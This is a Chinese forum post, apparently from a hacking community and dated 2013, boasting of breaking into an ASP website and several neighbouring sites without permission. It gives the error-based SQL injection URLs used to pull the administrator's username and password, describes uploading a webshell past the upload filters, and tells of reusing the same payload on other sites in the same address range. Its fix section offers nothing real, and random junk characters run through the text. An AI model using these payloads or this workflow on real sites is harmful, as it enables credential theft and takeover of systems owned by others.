发现一个注入点1 e: n3 m6 F5 U/ M. C
http://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI20120506105833892 t0 x+ p; x3 R* S
3 T1 f6 j1 ]1 z8 @3 W- z P9 h习惯性的加’having1=1--8 I2 p1 C1 L- V
$ R! X5 X* c- Y* ]3 o% F! t7 `http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
/ ^! K. m1 p8 l0 ?& A* c8 z- e2 D; L6 ]5 q7 f
0( d$ i; j# `+ D8 Z9 e- Y
" [8 t8 P% E# v- `6 C/ Z爆出Diary_A.dl_Title（这时候很激动啊）
- H1 z8 ^# V8 K' {9 F$ c& ?. B* w r \. G5 u
那么继续 r$ }& j# C8 R
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—
- P, `9 _( s8 P( q
6 g4 s* ]0 \- B5 ?继续，一直爆下去5 r+ F2 D9 c1 ?7 N# q0 ~4 h
) j, p% W3 o: w& {爆到几个字段和表段 但是没找到需要的管理用户的字段
: q) E! I8 O7 ^3 e/ R0 t% A2 l' t9 } K w* `! I5 n
蛋疼了 怎么办 然后去后台登陆页看源码6 F8 O! O* L w9 S- \7 O( D
i) K, G0 \& u7 V- _
03 P8 I% ~; [" |' A% b/ O
& @ j% O3 t9 X
Input name= “ADUID”
. t. r8 y, e4 Z+ `9 j wInput name= “ADPWD”
8 k+ u; @1 ^) B- T% ?: r- _. \' n( L
很幸运 找到了字段那就继续
1 x! O# m' A+ V6 u. c6 P7 _找到之后开始爆用户
( T) A4 a. _& R, P6 c. D2 l r) Chttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—: N6 E+ l2 N4 T: p/ ~' K
爆密码
% s1 ]0 E; k9 |, k" V: Mhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
' A) W; U; Z0 q! u: U/ Q测试了下 这个注入点只能爆到文章哪里的表 ( t% W; [9 _: I/ _
& Z0 v' A& V4 r3 l2 \
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了0 A5 q# w. Y) J
9 I9 k( ~# G8 H" |+ L又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
& {0 W( J4 d1 ]! `4 o& T4 J' K$ N
% ]1 h' p* [! R* `% _473
* N! S" {8 D2 F/ C+ z$ W& [" B: s
4 Z& E O/ l5 a# T9 f; ]进后台+ n {$ F8 v! K
: X8 k8 P9 y4 j2 O& F* x" F5 h& X2 g" J+ d7 M
发现几个上传点 有的地方不能上传 而且防止恶意代码
" p& @2 n% V- F/ Z. N9 a' u) `6 S: r# a- s5 J
没办法 各种百度各种找大牛 找到一只好像可以突破的马0 ^4 P3 B/ h/ [3 c
' k2 r! z: _0 [
, n, `! i2 C T" I4 @在系统管理那里直接上传 不过没有显示地址8 F' Y7 j# Q: A, n! C) ]: [) |1 f6 I
|% h' Z5 K0 |+ p1 p再上传一次 抓包 搞定OK
4 f3 K# l; S) L+ C7 u* [: L8 Q1 H) Y% M7 L; M$ q3 R9 [; D
6 h5 w9 p' o' _% L6 @4 S, q
+ R# N+ w `- S* `; k
4729 {' Q1 a2 M4 O- L* n
; [! P" [) b, E+ C+ j
晚上不行了 去睡觉。。。
/ E: E% w9 x! d! \第二天刚起床 闲的没事做继续日站吧
( V4 k: {" D% x# @4 _+ y* [/ s) s/ Z4 g8 r
找个站 就把这个站的旁c扫了下) q, [- ~; f6 q. H, o7 t5 o
6 I( e( j: p6 J- v发现c段也有一个购物站 ，然后还和这个站的模板差不多% z' X6 N) R: h9 Z7 ^! ~
8 @# h# I5 `. Z! W3 g: L7 q就找到会员登录口测试: x% n! [: T" u, X% b9 C h
& N3 ~5 x2 F ^7 S# ?) z% d
'and (select top 1 MGR_UID from A_MGR)>0—
& k4 V9 [* Y0 h/ Y果断爆到了 这时候我很激动 通杀
5 \. P8 X& ?( E. x( _4 M$ G- f E0 m$ O) Y6 h7 e
再次翻c段0 d! E! |/ E: k
# ^5 [. @ ~9 ]翻出几个站 都成功拿下
* E- @8 r( ?) I z( ?2 j. J3 I4 r% T# @; b$ j" M p. y: t- c
& H% M/ ]' U- K% N
( n8 o; ~4 r* W$ ]
修复方案：
2 D) z! \- P( H他们比我专业
" @8 b1 N# H( c8 l- k, z
\8 g6 @, {+ J( Z4 `2 j1 F& ]% \; v& u1 O
# x1 _7 E# Q7 u* Y# f |
发表于 2013-4-4 17:40:38
收藏
支持
反对